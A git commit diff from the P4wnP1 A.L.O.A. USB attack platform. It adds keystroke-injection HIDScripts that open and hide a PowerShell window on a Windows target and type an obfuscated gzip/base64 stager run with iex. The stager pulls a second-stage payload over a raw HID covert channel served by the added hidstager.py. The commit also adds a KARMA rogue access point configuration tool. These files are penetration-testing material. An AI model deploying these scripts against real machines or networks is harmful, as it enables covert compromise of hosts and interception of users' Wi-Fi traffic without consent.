Added WiFi covert channel demo, added KARMA tool, Updated Makefile and README

This commit is contained in:
MaMe82 2018-11-26 20:12:36 +01:00
parent 4a92671188
commit cf19d964c6
17 changed files with 2493 additions and 119 deletions

View File

@ -82,6 +82,7 @@ installkali:
cp -R dist/db /usr/local/P4wnP1/
cp -R dist/helper /usr/local/P4wnP1/
cp -R dist/ums /usr/local/P4wnP1/
cp -R dist/legacy /usr/local/P4wnP1/
cp build/webapp.js /usr/local/P4wnP1/www
cp build/webapp.js.map /usr/local/P4wnP1/www

View File

@ -1409,7 +1409,7 @@ Work in progress, missing sections:
- HIDScript Trigger variables (variables handed in to HIDScripts fired from TriggerActions)
- HIDScript helpers (powershell functions)
- HIDScript demo snake (mouse)
- USB Mass storage
- USB Mass storage (genimg helper)
## 4. Rescue: Help, I can't reach P4wnP1 A.L.O.A. as i messed up the configuration

77
dist/HIDScripts/helper.js vendored Executable file
View File

@ -0,0 +1,77 @@
/*
Common helper methods for HID attacks
author: MaMe82
*/
ps_wow64='%SystemRoot%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe'
ps="powershell.exe"
// sets typing speed to "natural" (global effect on all running script jobs)
function natural() {
typingSpeed(100,150) // Wait 100ms between key strokes + an additional random value between 0ms and 150ms (natural)
}
// sets typing speed as fast as possible
function fast() {
typingSpeed(0,0)
}
// Open an interactive PowerShell console (host architecture)
function startPS() {
press("GUI r");
delay(500);
type("powershell\n")
}
// Hide an already opened PowerShell console, but keep input focus, to gon on typing
function hidePS() {
type('$h=(Get-Process -Id $pid).MainWindowHandle;$ios=[Runtime.InteropServices.HandleRef];$hw=New-Object $ios (1,$h);$i=New-Object $ios(2,0);(([reflection.assembly]::LoadWithPartialName("WindowsBase")).GetType("MS.Win32.UnsafeNativeMethods"))::SetWindowPos($hw,$i,0,0,100,100,16512)')
press("ENTER");
}
// On a powershell prompt, check if the running PS is 32bit, start an inline 32bit PowerShell, otherwise.
function assurePS32() {
type("if ([IntPtr]::Size -ne 4){& $env:SystemRoot\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe}\n");
delay(500);
}
// Uses search bar and CTRL+SHIFT+ENTER to run given program as admin (assumes user is admin, only confirms UAC dialog)
function win10AsAdmin(program) {
press("GUI"); //open search
delay(200);
type(program); //enter target binary
delay(500); // wait for search to finish
press("CTRL SHIFT ENTER"); //start with CTRL+SHIFT+ENTER (run as admin)
delay(500); //wait for confirmation dialog (no check if a password is required, assume login user is admin)
press("SHIFT TAB"); //switch to dialog confirmation
press("ENTER");
}
// Streams PS code via a HID channel into memory and executes the received result with IEX.
// The second stage code has to be provided by hidstager.py.
// PID and VID in used by the raw HID device have to be provided as string arguments in format "1D6B", "4137".
//
// The advantages of delivery via raw HID:
// - the channel allows to transfer large payloads silently (about 32KByte/s on USB 2.0)
// - the payload goes to memory, not to disk
// - combined with hidePS, typing out his stager could be done nearly invisible (2131 characters have to be typed here)
// The disadvantages of delivery via raw HID:
// - the payload is executed with Invoke-Expression (iex) after transfer, which is 'loud' again
// - the PID and VID of the (raw) HID device in use have to be known, in order to allow the stager to identify the device
// (the stager manages to find the correct interface itself, if multiple HID interfaces, like keyboard and mouse, are up)
function hidDownAndIEX(vid, pid) {
type("$USB_VID='"+ vid +"';$USB_PID='" + pid +"';");
type("$b='H4sIAAAAAAAEAKVXbU/bSBD+jsR/sFzfxRGJ5VBaISR0Bwm0kUobNXA9XbDQxh4ne9jeaL1OG/X47zezu7YT2lSqCoLYuzPPPPO6m8ODtCpixUXhfIQ0g1gNJTAF1zyDG1BLkfjdw4OvhwdeInLn3JldrFYjkTNeRGdnw0pKKJR5JxGGEu/hc//D/F9EqhERPLgoS8jn2eY9y8F3b9gNnB6PNkW97KIRj81RnewEI0h5AbjPch7XMj7i95zZFuhVzlWDfFnxLAF5EcdQlkjuY1UQaK5B2XwX80YkVbZNxCy4Pce7ZlkJpKm0Zl5r3m5WjQLKuZNqnvG45wwzVpaaf5xShFDPatj4uW1E3V3+RuBCKcnnlYIyalGniikek/y4UBMlI3wiBrMocv70Z1NUKRaR2X55TA93zVOrcbd/1+lqygmnpGKsFM8hwD2QYjUFueYYxmCUZeN8JaRqOEbBG1BDUZRKVrES0m/JGMCUacDWyWsOWTIuUmGp/6Qtre67V4WSm4nghXK7vZ8mbEEmEkqUhClf/ALKFNQ7VqorKYX8BZghyzIMG8ZyjT2EkfoVrCWTSMu1KUjXOgmmC03Yd4vQu5UVNB97jX5DEdvqEy/Yiv9IyXBB0YtKCUMo3j8YdA8Pq1KJvHHNtrJP5dkj8o8gC8heHgdJllGYqMz0f/TUdl6ANp/B+NqyaeXA+K+bGFeeDtu510YGCxlYfi1FPgJyZsLU0vfyPM7QX1vljrfCVTsTl3pC4D7OwgbF1xJNa4Z/D0PzQ0sfAhJphxSw5JPkCtrGPDv7B+PZyuJkAlz8sIKi7ePwy8kW6LaiHqREixhcCpEBK6KQYnQ+u+GxFKVIVYBZxGhOWQpvWZFkmDZ6JnPm/Xmbl353Fka1xzEmfS0e0VMd3ZSd73eM6JwTGY9SZmPy+mSL3MCQswgmB9+zPzhBAhJUJYvnFLbTWUKRPCRMMd9LEQ8Nl6KSMT0kUCr6wE38kBADX0Nic8nPKUrzDc7h3WK9xKVZ5PivX3VrgZnHj44i6jF6jZxw34a1vXebGO3fRJ7BOygWarlXpnZCn74oPhSrza3wjTQ6yYlzAmsKRaAT0uxh6ZhHa+NZHDEN23G0UZI/ik0s9QFurVEJ+J7shT2zawIsgabYA09IVBp/cLmU8e5CUqpnEsUzFRmvdxfycvF9dqSLDGYXUrIN3VswSMQMw4N/qGaCYaTqCkNGVCu6YnCHCiZeG/HdQGGlbo+Lu+nlw1/jEUrS02Q8spF7Ox69qXhy7n49SQbw6tX8uJ8OXqf9wSBO+6en8bwfhgP8oaZ+GT65aEFgDuIl8v+cc4yqwwtngY+O7t4HhMcOUVJkGUjDwPnvt68zlIh87wEvITgyEhzc3Sen6yAFnjZQgZEfj5x+zhTZcGvirnPkdH5H3g8dfHJrL9yu08fR4OwF6KCDHSvUL4RqJO3JoClQcdB0xDy59/d/3JOxWm7yflKDYu2sMhaD37nv9DovEBaZvNDCNow6BU8toHmhUYzQe26yKECi57sZc2rHm4S1HYNYPz4dzPQ3ZwI1gMBDEZX6NNNKxRZwTJ5iLj3IV2rz/fIMsULwdqPL5POSzPpNE+2OZQwsOF5RZZkpqmbWNV3nhPhrjYXa4fgRiFLTzo2oLQgjgdNdg4cGOMbC4kUFOqzbYoP9Yl6l0lMaTbfwRQVXRSwSOjDPzu5ur09pnpsTtIE6iboWmxQDvPFKVX7i2EMuubUEfJ9j8OvK8214+wuF9g2BObr12JL8BmgOC15sQ9lmrBOFIZrRMYMnEd1taD6+w5s7XvIIxDHTFUk7JpmumZGA3xC0vZpQE5A66Uc4mIhMYwoXBt/a8t3AQj7tI2IB0U/zPQcS0uDwxbG2zDDCW1mWbew3NVs7w0yU+rbTrIx4ubJrqHR48D9inn4F/g0AAA==';nal no New-Object -F;iex (no IO.StreamReader(no IO.Compression.GZipStream((no IO.MemoryStream -A @(,[Convert]::FromBase64String($b))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()");
press("ENTER");
}
layout('de'); // US keyboard layout
fast();
startPS();
delay(500);
assurePS32();
delay(500);
//hidePS();
//delay(500);
hidDownAndIEX("1D6B", "1347");

View File

@ -1,26 +0,0 @@
// Creds to "Mohamed A. Baset" @SymbianSyMoh (see https://twitter.com/SymbianSyMoh/status/987140763673706496)
// Endless looping script moves mouse on any new LED report
while(true) {
// waitLED(ANY_OR_NONE) blocks till any LED of the P4wnP1 keyboard changes.
// The special flag "ANY_OR_NONE" additionally triggers, if a new LED state arrives, which doesn't differ from the
// old state, at all.
// On Windows and some Linux OS, all attached keyboards share a global LED state. In order to show the correct state
// on a newly attached keyboard, it has to be sent from the windows host to the external keyboard, at least once.
// As P4wnP1 saves the LED state internally in order to detect changes, it could happen, that a newly received state
// doesn't differ from the internal one (it would be ignored by waitLED(ANY) for example).
// `waitLED(ANY_OR_NONE)` assures that unchanged states are reported, too. This again allows to trigger the
// fellow commands, as soon as P4wnP1 is attached to a windows host.
//
// It seems that this technique couldn't be used on OSX, as users reported, that the LED state on OSX is handled
// per keyboard, not globally.
waitLED(ANY_OR_NONE); // wait for new LED report, even if there's no change
// move mouse to indicate success
moveStepped(200,0);
moveStepped(0,-200);
moveStepped(-200,0);
moveStepped(0,200);
delay(1000);
}

View File

@ -1,7 +0,0 @@
waitLED(ANY);
moveStepped(200,0);
moveStepped(0,-200);
moveStepped(-200,0);
moveStepped(0,200);

81
dist/HIDScripts/wifi_covert_channel.js vendored Executable file
View File

@ -0,0 +1,81 @@
/*
WiFi covert channel, initial stage (keystroke injection)
author: MaMe82
This isn't a stand-alone HIDScript. It is meant to be used as part of the Master Template "Wifi covert channel"
in order to met all the dependencies.
Two options could be changed in this script:
1) The keyboard language to type out the iniial stage
2) The hide option. If disabled the powershell window on the target host isn't hidden, to allow
easy debugging.
Dependencies:
- this HIDScript is started as part of the TriggerActions named "wifi_covert_channel"
and triggered as soon as a new USB to host connection is detected
- the script runs stage1 (keystroke injection), stage 2 is delivered via a HID covert channel
- to make the HID covert channel work:
a) the USB gadget needs to have 'Custom HID device' enabled in addition to keyboard
b) the HID covert channel stager (hidstager.py) has to be started and ready to serve
the stage2 PowerShell script
- condition a) is assured by an USB gadget template, called 'wifi_covert_channel'
- condition b) gets satisfied by a bash script (wifi_covert_channel.sh) bashscript, which
starts the stager and additionally the "WiFi covert channel C2 server"
- the aforementioned bash script is started by a second trigger action, which is part
TriggerActio templated named "wifi_covert_channel", too
- so two conditions are assured by TriggerActions (starting HID stager+WiFi covert channel server
and running this HIDScript against the target host), but the remaining condition (deploy proper USB
gadget settings, once) has to be met, too.
- To tie everything together, the TriggerAction template and the USB gadget settings have been wrapped
together into a Master Template called 'wifi covert channel', which could be load on startup or on demand.
Controlling the server:
- The WiFi covert channel server is bound to a screen session called 'wifi_c2' and could attached
to a SSH session by running:
$ screen -d -r wifi_c2
*/
language="us";
hide=false; // set to true to hide the console window on the target
// Hide an already opened PowerShell console, but keep input focus, to gon on typing
function hidePS() {
type('$h=(Get-Process -Id $pid).MainWindowHandle;$ios=[Runtime.InteropServices.HandleRef];$hw=New-Object $ios (1,$h);$i=New-Object $ios(2,0);(([reflection.assembly]::LoadWithPartialName("WindowsBase")).GetType("MS.Win32.UnsafeNativeMethods"))::SetWindowPos($hw,$i,0,0,100,100,16512)')
press("ENTER");
}
// On a powershell prompt, check if the running PS is 32bit, start an inline 32bit PowerShell, otherwise.
function assurePS32() {
type("if ([IntPtr]::Size -ne 4){& $env:SystemRoot\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe}\n");
delay(500);
}
// See helper.js for details
function hidDownAndIEX(vid, pid) {
type("$USB_VID='"+ vid +"';$USB_PID='" + pid +"';");
type("$b='H4sIAAAAAAAEAKVXbU/bSBD+jsR/sFzfxRGJ5VBaISR0Bwm0kUobNXA9XbDQxh4ne9jeaL1OG/X47zezu7YT2lSqCoLYuzPPPPO6m8ODtCpixUXhfIQ0g1gNJTAF1zyDG1BLkfjdw4OvhwdeInLn3JldrFYjkTNeRGdnw0pKKJR5JxGGEu/hc//D/F9EqhERPLgoS8jn2eY9y8F3b9gNnB6PNkW97KIRj81RnewEI0h5AbjPch7XMj7i95zZFuhVzlWDfFnxLAF5EcdQlkjuY1UQaK5B2XwX80YkVbZNxCy4Pce7ZlkJpKm0Zl5r3m5WjQLKuZNqnvG45wwzVpaaf5xShFDPatj4uW1E3V3+RuBCKcnnlYIyalGniikek/y4UBMlI3wiBrMocv70Z1NUKRaR2X55TA93zVOrcbd/1+lqygmnpGKsFM8hwD2QYjUFueYYxmCUZeN8JaRqOEbBG1BDUZRKVrES0m/JGMCUacDWyWsOWTIuUmGp/6Qtre67V4WSm4nghXK7vZ8mbEEmEkqUhClf/ALKFNQ7VqorKYX8BZghyzIMG8ZyjT2EkfoVrCWTSMu1KUjXOgmmC03Yd4vQu5UVNB97jX5DEdvqEy/Yiv9IyXBB0YtKCUMo3j8YdA8Pq1KJvHHNtrJP5dkj8o8gC8heHgdJllGYqMz0f/TUdl6ANp/B+NqyaeXA+K+bGFeeDtu510YGCxlYfi1FPgJyZsLU0vfyPM7QX1vljrfCVTsTl3pC4D7OwgbF1xJNa4Z/D0PzQ0sfAhJphxSw5JPkCtrGPDv7B+PZyuJkAlz8sIKi7ePwy8kW6LaiHqREixhcCpEBK6KQYnQ+u+GxFKVIVYBZxGhOWQpvWZFkmDZ6JnPm/Xmbl353Fka1xzEmfS0e0VMd3ZSd73eM6JwTGY9SZmPy+mSL3MCQswgmB9+zPzhBAhJUJYvnFLbTWUKRPCRMMd9LEQ8Nl6KSMT0kUCr6wE38kBADX0Nic8nPKUrzDc7h3WK9xKVZ5PivX3VrgZnHj44i6jF6jZxw34a1vXebGO3fRJ7BOygWarlXpnZCn74oPhSrza3wjTQ6yYlzAmsKRaAT0uxh6ZhHa+NZHDEN23G0UZI/ik0s9QFurVEJ+J7shT2zawIsgabYA09IVBp/cLmU8e5CUqpnEsUzFRmvdxfycvF9dqSLDGYXUrIN3VswSMQMw4N/qGaCYaTqCkNGVCu6YnCHCiZeG/HdQGGlbo+Lu+nlw1/jEUrS02Q8spF7Ox69qXhy7n49SQbw6tX8uJ8OXqf9wSBO+6en8bwfhgP8oaZ+GT65aEFgDuIl8v+cc4yqwwtngY+O7t4HhMcOUVJkGUjDwPnvt68zlIh87wEvITgyEhzc3Sen6yAFnjZQgZEfj5x+zhTZcGvirnPkdH5H3g8dfHJrL9yu08fR4OwF6KCDHSvUL4RqJO3JoClQcdB0xDy59/d/3JOxWm7yflKDYu2sMhaD37nv9DovEBaZvNDCNow6BU8toHmhUYzQe26yKECi57sZc2rHm4S1HYNYPz4dzPQ3ZwI1gMBDEZX6NNNKxRZwTJ5iLj3IV2rz/fIMsULwdqPL5POSzPpNE+2OZQwsOF5RZZkpqmbWNV3nhPhrjYXa4fgRiFLTzo2oLQgjgdNdg4cGOMbC4kUFOqzbYoP9Yl6l0lMaTbfwRQVXRSwSOjDPzu5ur09pnpsTtIE6iboWmxQDvPFKVX7i2EMuubUEfJ9j8OvK8214+wuF9g2BObr12JL8BmgOC15sQ9lmrBOFIZrRMYMnEd1taD6+w5s7XvIIxDHTFUk7JpmumZGA3xC0vZpQE5A66Uc4mIhMYwoXBt/a8t3AQj7tI2IB0U/zPQcS0uDwxbG2zDDCW1mWbew3NVs7w0yU+rbTrIx4ubJrqHR48D9inn4F/g0AAA==';nal no New-Object -F;iex (no IO.StreamReader(no IO.Compression.GZipStream((no IO.MemoryStream -A @(,[Convert]::FromBase64String($b))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()");
press("ENTER");
}
layout(language); //set keyboard layout according to the language variable (if this command is ommited, the current layout is used)
typingSpeed(0,0); // type as fast as possible
// The script is started, as soon as a USB host connection is detected.
// A connection doesn't necessarily mean the remote host has the HID keyboard driver up already.
// To account for this, we wait for a keyboard report (no matter if it results in 'ANY_OR_NONE' LED state change
// we are only interested in an arriving LED report, which is sent by windows after keyboard driver initialization).
// After 5 seconds of waiting, we go on in any case.
waitLED(ANY_OR_NONE, 5000);
// start an unprivileged PowerShell console
press("GUI r");
delay(500);
type("powershell\n");
delay(500);
if (hide) { hidePS(); } //hide the console if choosen to do so
delay(500);
assurePS32(); // open a 32bit console, if the current one is 64bit
delay(500);
hidDownAndIEX("1D6B", "1315");

65
dist/bin/genimage.sh vendored
View File

@ -1,65 +0,0 @@
#!/bin/bash
# requires genisoimage package
# usage: genimage.sh <outfile> <type = cdrom || flashdrive> [volume label] [size]
ISO_FOLDER="/tmp/iso"
VOL_ID="Test_CD"
OUTFILE="/tmp/cdrom.iso"
OUTFILE2="/tmp/image.bin"
size="128" # only used for flashdrive, given in Megabyte
function create_cdrom_image() {
rm -R $ISO_FOLDER # in case it exists
mkdir $ISO_FOLDER
printf "Hello World!\r\nP4wnP1" > $ISO_FOLDER/hello.txt
# generate iso
genisoimage -udf -joliet-long -V $VOL_ID -o $OUTFILE $ISO_FOLDER
}
function create_block_vfat_image() {
dd if=/dev/zero of=$OUTFILE2 bs=1M count=$size
#mkdosfs $OUTFILE # create vfat
mk.vfat $OUTFILE # create vfat
}
function loop_mount() {
# find free loop device
loopdev=$(losetup -f)
losetup $loopdev $OUTFILE2
# mounting the image to /mnt
# Note: If the image is used by USB Mass Storage currently, the behavior is unpredictable
# Based on observation, local changes to the mounted block device have no effect, but
# (external) changes to the USB Mass Storage have an effect. This behavior doesn't change
# if the loop mount is done with Direct-IO or the loop device is mounted with -o=sync.
#
# In addtion, binding vfat images to USB Mass Storage with CD-Rom emulation doesn't work,
# it seems the filesystem has to be ISO9660.
#
# Last but not least, even if the USB Mass Storage is flagged as removable, resetting the
# backing file to "" only works if the target host hasn't mounted the image (very unlikely
# with automount, like on Windows). There's no "forced" unmount possible from P4wnP1's end,
# therefor the whole gadget hast to be disabled and re-enabled (not reinitialized) to bring
# up another volume. This will interrupt other USB functions enabled on the current composite gadget.
#
# Conclusion:
# The backing service should allow mounting of image files only to loopback OR USB Mass Storage,
# not both.
# UMS backing image file and operation mode will be integrated into gadgetsettings (could only
# be changed on reinitialization) because of the observation according removable devices and the
# lacking possibility to change the backing file, once the device is mounted by the target host.
mount -t vfat -o loop $OUTFILE /mnt
# to detach loopdefv:
# losetup -d $loopdev
# to mount image filesystem
# mount -t vfat -o loop $OUTFILE2 $MOUNTPOINT
}
create_cdrom_image
create_block_vfat_image

20
dist/bin/monassure vendored
View File

@ -1,20 +0,0 @@
#!/bin/bash
interface=wlan0mon
echo -n "Create monitor mode interface ${interface}... "
iw phy phy0 interface add ${interface} type monitor 2> /dev/null 1> /dev/null
if [ $? -eq 0 ]; then
echo "success"
else
echo "failed, already created ?"
fi
echo -n "Trying to enable ${interface}... "
ifconfig ${interface} up 2> /dev/null
if [ $? -eq 0 ]; then
echo "success, ${interface} is up"
exit 0
else
echo "failed"
exit 1
fi

BIN
dist/db/init.db vendored

Binary file not shown.

169
dist/legacy/hidstager.py vendored Executable file
View File

@ -0,0 +1,169 @@
#!/usr/bin/python
# This file is part of P4wnP1 A.L.O.A.
#
# Copyright (c) 2018, Marcus Mengs.
#
# P4wnP1 is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# P4wnP1 is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with P4wnP1 A.L.O.A. If not, see <http://www.gnu.org/licenses/>.
import sys
import struct
import Queue
import getopt
chunks = lambda A, chunksize=60: [A[i:i+chunksize] for i in range(0, len(A), chunksize)]
# single packet for a data stream to send
# 0: 1 Byte src
# 1: 1 Byte dst
# 2: 1 Byte snd
# 3: 1 Byte rcv
# 4-63 60 Bytes Payload
# reassemable received and enqueue report fragments into full streams (separated by dst/src)
def fragment_rcvd(qin, fragemnt_assembler, src=0, dst=0, data=""):
stream_id = (src, dst)
# if src == dst == 0, ignore (heartbeat)
if (src != 0 or dst !=0):
# check if stream already present
if fragment_assembler.has_key(stream_id):
# check if closing fragment (snd length = 0)
if (len(data) == 0):
# end of stream - add to input queue
stream = [src, dst, fragment_assembler[stream_id][2]]
qin.put(stream)
# delete from fragment_assembler
del fragment_assembler[stream_id]
else:
# append data to stream
fragment_assembler[stream_id][2] += data
#print repr(fragment_assembler[stream_id][2])
else:
# start stream, if not existing
data_arr = [src, dst, data]
fragment_assembler[stream_id] = data_arr
def send_packet(f, src=1, dst=1, data="", rcv=0):
snd = len(data)
#print "Send size: " + str(snd)
packet = struct.pack('!BBBB60s', src, dst, snd, rcv, data)
#print packet.encode("hex")
f.write(packet)
def read_packet(f):
hidin = f.read(0x40)
#print "Input received (" + str(len(hidin)) + " bytes):"
#print hidin.encode("hex")
data = struct.unpack('!BBBB60s', hidin)
src = data[0]
dst = data[1]
snd = data[2]
rcv = data[3]
# reduce msg to real size
msg = data[4][0:snd]
return [src, dst, snd, rcv, msg]
def deliverStage2(hidDevPath, stage2Data, oneshot):
# main code
qout = Queue.Queue()
qin = Queue.Queue()
fragment_assembler = {}
# pack stage2 into otherwise empty heartbeat chunks
stage2_chunks = chunks(stage2Data)
heartbeat_content = []
heartbeat_content += ["begin_heartbeat"]
heartbeat_content += stage2_chunks
heartbeat_content += ["end_heartbeat"]
heartbeat_counter = 0
with open(hidDevPath,"r+b") as f:
while True:
packet = read_packet(f)
src = packet[0]
dst = packet[1]
snd = packet[2]
rcv = packet[3]
msg = packet[4]
fragment_rcvd(qin, fragment_assembler, src, dst, msg)
if qout.empty():
# empty keep alive (rcv field filled)
#send_packet(f=f, src=0, dst=0, data="", rcv=snd)
# as the content "keep alive" packets (src=0, dst=0) is ignored
# by the PowerShell client, we use them to carry the initial payload
# in an endless loop
if heartbeat_counter == 0:
print "Start new stage2 delivery"
if heartbeat_counter == len(heartbeat_content):
heartbeat_counter = 0
send_packet(f=f, src=0, dst=0, data=heartbeat_content[heartbeat_counter], rcv=snd)
if heartbeat_counter == len(heartbeat_content)-1:
print "Ended stage2 delivery"
if oneshot:
# if oneshot is enabled, return after delivery
return
heartbeat_counter += 1
else:
packet = qout.get()
send_packet(f=f, src=packet[0], dst=packet[1], data=packet[2], rcv=snd)
def main(argv):
inputfile = ''
outputfile = ''
oneshot = False
try:
opts, args = getopt.getopt(argv,"shi:o:",["infile=","out="])
except getopt.GetoptError:
print 'hidstager.py -i <inputfile> -o <outputfile> [-s]'
sys.exit(2)
for opt, arg in opts:
if opt == '-h':
print 'hidstager.py -i <inputfile> -o <outputfile> [-s]'
sys.exit()
elif opt in ("-i", "--infile"):
inputfile = arg
elif opt in ("-o", "--out"):
outputfile = arg
elif opt == "-s": # single delivery
oneshot=True
if len(inputfile) == 0 or len(outputfile) == 0:
print 'Input (stage2 data) and output (raw HID device) have to be given!'
sys.exit(2)
print 'Delivering "', inputfile, '" via raw HID device "', outputfile, '"'
if oneshot:
print 'Exit after first delivery'
# Initialize stage one payload, carried with heartbeat package in endless loop
#with open("wifi_agent.ps1","rb") as f:
with open(inputfile,"rb") as f:
stage2=f.read()
#deliverStage2("/dev/hidg2", stage2)
deliverStage2(outputfile, stage2, oneshot)
if __name__ == "__main__":
main(sys.argv[1:])

215
dist/legacy/karmatool.py vendored Executable file
View File

@ -0,0 +1,215 @@
#!/usr/bin/python
#!/usr/bin/python
# This file is part of P4wnP1.
#
# Copyright (c) 2017, Marcus Mengs.
#
# P4wnP1 is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# P4wnP1 is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with P4wnP1. If not, see <http://www.gnu.org/licenses/>.
# The command line tool could be used to configure the MaMe82 nexmon firmware mod (KARMA)
# for Pi3 / Pi0W while an access point is up and running
from mame82_util import *
import cmd
import sys
import getopt
def interact():
pass
def usage():
usagescr = '''Firmware configuration tool for KARMA modified nexmon WiFi firmware on Pi0W/Pi3 by MaMe82
=========================================================================================
RePo: https://github.com/mame82/P4wnP1_nexmon_additions
Creds to: seemoo-lab for "NEXMON" project
A hostapd based Access Point should be up and running, when using this tool
(see the README for details).
Usage: python karmatool.py [Arguments]
Arguments:
-h Print this help screen
-i Interactive mode
-d Load default configuration (KARMA on, KARMA beaconing off,
beaconing for 13 common SSIDs on, custom SSIDs never expire)
-c Print current KARMA firmware configuration
-p 0/1 Disable/Enable KARMA probe responses
-a 0/1 Disable/Enable KARMA association responses
-k 0/1 Disable/Enable KARMA association responses and probe responses
(overrides -p and -a)
-b 0/1 Disable/Enable KARMA beaconing (broadcasts up to 20 SSIDs
spotted in probe requests as beacon)
-s 0/1 Disable/Enable custom SSID beaconing (broadcasts up to 20 SSIDs
which have been added by the user with '--addssid=' when enabled)
--addssid="test" Add SSID "test" to custom SSID list (max 20 SSIDs)
--remssid="test" Remove SSID "test" from custom SSID list
--clearssids Clear list of custom SSIDs
--clearkarma Clear list of karma SSIDs (only influences beaconing, not probes)
--autoremkarma=600 Auto remove KARMA SSIDs from beaconing list after sending 600 beacons
without receiving an association (about 60 seconds, 0 = beacon forever)
--autoremcustom=3000 Auto remove custom SSIDs from beaconing list after sending 3000
beacons without receiving an association (about 5 minutes, 0 = beacon
forever)
Example:
python karmatool.py -k 1 -b 0 Enables KARMA (probe and association responses)
But sends no beacons for SSIDs from received probes
python karmatool.py -k 1 -b 0 Enables KARMA (probe and association responses)
and sends beacons for SSIDs from received probes
(max 20 SSIDs, if autoremove isn't enabled)
python karmatool.py --addssid="test 1" --addssid="test 2" -s 1
Add SSID "test 1" and "test 2" and enable beaconing for
custom SSIDs
'''
print(usagescr)
def print_conf():
print "Retrieving current configuration ...\n===================================="
MaMe82_IO.dump_conf(print_res=True)
def check_bool_arg(arg):
try:
res = int(arg)
if (res == 0) or (res == 1):
return res
else:
return -1
except ValueError:
return -1
def main(argv):
try:
opts, args = getopt.getopt(argv, "hicdk:p:a:b:s:", ["help", "interactive", "currentconfig", "setdefault", "clearkarma", "clearssids", "addssid=", "remssid=", "autoremkarma=", "autoremcustom="])
except getopt.GetoptError:
print "ERROR: Wrong command line argument(s)"
print "-------------------------------------\n"
usage()
sys.exit(2)
for opt, arg in opts:
if opt in ("-h", "--help"):
usage()
sys.exit()
elif opt in ("-d", "--setdefault"):
print "Setting default configuration ..."
MaMe82_IO.set_defaults()
print_conf()
sys.exit()
elif opt in ("-i", "--interactive"):
print "Interactive mode"
print "... Sorry, feature not implemented, yet ... stay tuned"
sys.exit()
elif opt in ("-c", "--currentconfig"):
print_conf()
elif opt == "-p":
val = check_bool_arg(arg)
if (val == -1):
print "Argument error for -p (KARMA probe), must be 0 or 1 .... ignoring option"
else:
print "Setting KARMA probe responses to {0}".format("On" if (val==1) else "Off")
MaMe82_IO.set_enable_karma_probe(True if (val==1) else False)
elif opt == "-a":
val = check_bool_arg(arg)
if (val == -1):
print "Argument error for -a (KARMA associations), must be 0 or 1 .... ignoring option"
else:
print "Setting KARMA association responses to {0}".format("On" if (val==1) else "Off")
MaMe82_IO.set_enable_karma_assoc(True if (val==1) else False)
elif opt == "-k":
val = check_bool_arg(arg)
if (val == -1):
print "Argument error for -k (KARMA probes and associations), must be 0 or 1 .... ignoring option"
else:
print "Setting KARMA probe and association responses to {0}".format("On" if (val==1) else "Off")
MaMe82_IO.set_enable_karma(True if (val==1) else False)
elif opt == "-b":
val = check_bool_arg(arg)
if (val == -1):
print "Argument error for -b (KARMA beaconing), must be 0 or 1 .... ignoring option"
else:
print "Setting KARMA beaconing to {0}".format("On" if (val==1) else "Off")
MaMe82_IO.set_enable_karma_beaconing(True if (val==1) else False)
elif opt == "-s":
val = check_bool_arg(arg)
if (val == -1):
print "Argument error for -s (custom beaconing), must be 0 or 1 .... ignoring option"
else:
print "Setting custom beaconing to {0}".format("On" if (val==1) else "Off")
MaMe82_IO.set_enable_custom_beaconing(True if (val==1) else False)
elif opt == "--addssid":
if len(arg) == 0 or len(arg) > 32:
print "Argument error for --addssid, mustn't be empty max length is 32 ... ignoring option"
else:
MaMe82_IO.add_custom_ssid(arg)
elif opt == "--remssid":
if len(arg) == 0 or len(arg) > 32:
print "Argument error for --remssid, mustn't be empty max length is 32 ... ignoring option"
else:
MaMe82_IO.rem_custom_ssid(arg)
elif opt == "--clearssids":
print "Removing all custom SSIDs"
MaMe82_IO.clear_custom_ssids()
elif opt == "--clearkarma":
print "Removing all KARMA SSIDs (no influence on probe / assoc responses)"
MaMe82_IO.clear_karma_ssids()
elif opt == "--autoremkarma":
error="An integer value >=0 is needed for autoremkarma ... ignoring option"
try:
val = int(arg)
if (val < 0):
print error
else:
print "Removing KARMA SSIDs after sending {0} beacons without occuring association".format(val)
MaMe82_IO.set_autoremove_karma_ssids(val)
except ValueError:
print error
elif opt == "--autoremcustom":
error="An integer value >=0 is needed for autoremcustom ... ignoring option"
try:
val = int(arg)
if (val < 0):
print error
else:
print "Removing custom SSIDs after sending {0} beacons without occuring association".format(val)
MaMe82_IO.set_autoremove_custom_ssids(val)
except ValueError:
print error
print ""
print_conf()
if __name__ == "__main__":
if not MaMe82_IO.check_for_karma_cap():
print "The current WiFi Firmware in use doesn't seem to support KARMA"
print "A modified and precompiled nexmon firmware for Pi3 / Pi0w with KARMA support could"
print "be found here:\thttps://github.com/mame82/P4wnP1_nexmon_additions"
sys.exit()
else:
print "Firmware in use seems to be KARMA capable"
if len(sys.argv) < 2:
usage()
sys.exit()
main(sys.argv[1:])

703
dist/legacy/mame82_util.py vendored Executable file
View File

@ -0,0 +1,703 @@
#!/usr/bin/python
# This file is part of P4wnP1.
#
# Copyright (c) 2017, Marcus Mengs.
#
# P4wnP1 is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# P4wnP1 is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with P4wnP1. If not, see <http://www.gnu.org/licenses/>.
# The python classes are used to configure the MaMe82 nexmon firmware mod
# while an access point is up and running
import fcntl
import socket
import os
